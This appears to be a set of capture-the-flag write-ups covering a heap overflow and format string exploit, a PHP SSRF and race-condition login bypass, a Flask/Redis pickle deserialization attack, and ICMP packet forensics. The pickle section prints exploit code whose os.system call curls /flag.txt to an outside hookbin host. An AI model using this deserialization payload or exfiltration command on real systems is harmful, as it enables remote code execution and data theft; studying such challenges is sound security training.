Use heap overflow on user->name to write into user->display
user->display is where the fmt string bug is located
Find address of *user with format string
target is person *user = new_p(), goal is to override user->qi which is the first index of the struct.
Send payload to write to address of user->qi (from step 3) after filling user->name buffer Final payload: Junk (to fill user->name) + payload to write to user->display + format string to write to user->qi with length of payload written to user->display
typedef struct moron
Person *user = new Moron;
// Heap overflow to override display
Description: All files are included. Source code is the key.
When we first visit the website, we see that there is an input for URLs and that this renders the HTML content below:
After trying several PHP attack methods to try to get a foothold, using localhost:8080 provided the source code for index.php via SSRF.
It seems like we have to craft our input to be localhost:8080/index.php?user=??&secret=??
Bypassing the first if statement, we just need user to be anything other than ‘admin’
Bypassing the second, we need to use secret=1 because it will evaluate to null which breaks the condition
Now $login_1 and $login_2 are both 1, we need to bypass @unlink() which deletes a filename, in our case it is generated using a hash combination of date(‘ms’) and $_COOKIE[‘PHPSESSID’]. The session is created and destroyed rather quickly and this can lead to a race condition if many requests are made in synchronized time.
We could solve this by sending requests in a synchronized time to cause the race condition. I tried out nccgroup’s enhancement of python requests called requests_racer.
Description: cache all the things (this is python3)
This challenge provides us with source code:
We see that their server is using Redis for caching and flask_caching library. Looking at the form, we see that each input is treated as a key (title) and value (content). Looking into the cache functions, I found this source to be helpful for the challenge:
It appears the default key when using cache functions in flask is “flask_cache_view/<path>” , so we can temporarily store malicious values in one of the keys that Redis is using. From the above link, it states that having a b'!' in front of a pickled object will lead to RedisCache unpickling. This can lead to RCE.
So we craft our pickle object with our exploit and append a b'!' in front of it. The description says it is in Python3 so we make sure to serialize our object in Python3.
exp = open("exploit", "wb")
cmd = ("curl -X POST -H 'Content-Type: application/json' -d '@/flag.txt' https://hookb.in/9XgpbdRPnDS600eMoRR6")
return os.system, (cmd,)
There are multiple ways to get the flag, I just curled the flag in POST data to my hookbin, our input will look like this:
After sending this and visiting /test24, we notice there is a delay, which means our object was deserialized. Looking at our hookbin, we see the flag came through:
Description: We got hacked! Can you see what they took?
We are given a pcap file, when analyzing it, we see that it is full of ICMP information. Looking at the first packet, we see that it is the beginning of a PNG header:
The last packet also contains an IEND, which marks the end of a PNG file. So it looks like they are sending parts of a PNG for each packet. The only issue is that we have to parse and filter our data to capture the correct bytes.
Since the requests and replies are the same, using tshark to extract the unique data sections of the pcap, we can get a better picture for the png.
Our goal is to grab the correct position to get a valid picture, so using a valid png, we use this as a guide to get the correct bytes:
Grabbing the correct first line from the pcap data and iterating down to the end, we are able to form a png that gives us a flag:
Perhaps I could’ve parsed it better..but it is still readable.